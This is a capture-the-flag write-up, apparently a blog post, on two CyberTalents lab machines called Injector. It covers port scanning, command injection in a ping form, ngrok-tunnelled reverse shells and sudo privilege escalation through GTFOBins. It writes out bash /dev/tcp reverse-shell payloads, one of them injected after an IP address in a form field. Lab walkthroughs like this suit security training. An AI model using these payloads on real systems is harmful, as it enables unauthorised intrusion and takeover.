Note: I'll diverse a little bit into the Injector machine on cybertalents
IP : 40.89.151.93
I struggled with this one for a while just coz i wasn't running nmap with -p-
to look for all ports. Literally cost me first blood…lmao!
A friend of mine suggested i should use rustscan instead and that's what i ended up using. Never heard of rustscan before and you want to do a quick install on debian?
Then run sudo dpkg -i rustscan_2.0.1_amd64.deb
to install.
Now that you have rustscan on your machine, you can scan for ports on the IP address given.
The basic syntax for rustscan that i used is:
rustscan -a <IP>
Alright. We have two ports…22 and 3060. We know that 22 is SSH, but what about 3060? A quick easy way to check this is using nc
.
For 22, it was able to identify it as SSH but for the second port, it has no idea. Let's check it out!
Interesting…we get a webserver and we get the answer to that question.
Looking at the text box on the webserver, it says Enter Command here
. That's intriguing. Can we run like ls
?
Seems we can. Got two files, flag1.txt
and index.php
. Easy
Diversing into the Cybertalents Injector Machine
When doing a machine on cybertalents, normally you're given a VPN and how to connect to it, and the Public IP as well. But for me, the VPN never worked so i had to work with the public IP.
Public IP: 3.127.234.70
Running nmap, got two ports, 22 and 80. Going over to the website…
We just get a default apache page. Time to do some enumeration i.e directory listing.
The only directory that sticks out is secret
. Let's check it out.
Not helpful. Going to enumerate that directory this time.
The only useful directory here turned out to be /secret/tools
. The private key is just a rabbit hole..lmao! There's a ping.php
file though.
Looking at the page, it asks you for a domain or ip address to ping.
But when you try execute a command, it doesn't work.
So, bearing in mind the machine is called Injector
, i thought, why not use both queries at the same time.
It works! We get a list of files. We have code execution. Question is, how are we supposed to get a reverse shell yet we aren't connected to the VPN?
The answer is ngrok
believe it or not.
First i'll setup a ngrok tcp listener on port 9001.
In this case, our WAN IP becomes 4.tcp.ngrok.io and the port becomes 18489 and that's routable to our localhost and the port 9001. I'll start a listener on port 9001 and we can execute a reverse shell payload to get a shell. I'll use the classic:
Simple! Just ran 192.168.0.1; bash -c 'bash -i >& /dev/tcp/4.tcp.ngrok.io/18489 0>&1'
. Now let's go back to cyberspace.
You easily get the answer to this question by typing cat /etc/os-release | grep -iw "name"
Again, simple stuff. Just type cat /etc/os-release | grep -iw "version"
I really don't want to answer this..ROFL! Runid
From here, i'd highly recommend you to have a shell just for easier navigation on the file system. And we know how to do this from what i demonstrated from Injector
.
Easy stuff! In my case, i ran bash -c 'bash -i >& /dev/tcp/0.tcp.ngrok.io/14049 0>&1'
Looking at the home directory now…
Got two users, cmd
with a UID of 1000 and tomato
with a UID of 1001. Both are non-root users, but tomcat
is recently created, hence went with that.
When you move into the root directory, you'll get a hint.txt
file with a base64 encoding of the password.
We can now login as tomato using ssh. We no longer need the reverse shell at this point.
There are some interesting gtfobins. python
, find
and cat
.
A gtfobin is basically a binary that can be used to bypass local privilege restrictions in misconfigured systems.
To find out how to exploit this, you can browse here: https://gtfobins.github.io/
We can exploit all three gtfobins. I'll use sudo
just coz i don't want a reverse shell. I'll also use /bin/bash
and not /bin/sh
.
Python
Running this…
And we are root!
You can also spawn a tty shell with sudo to get root.
Find
Running this…
Cat
For this, it's a file read exploit. In this case, we can read the root flag.
Well, that was fun.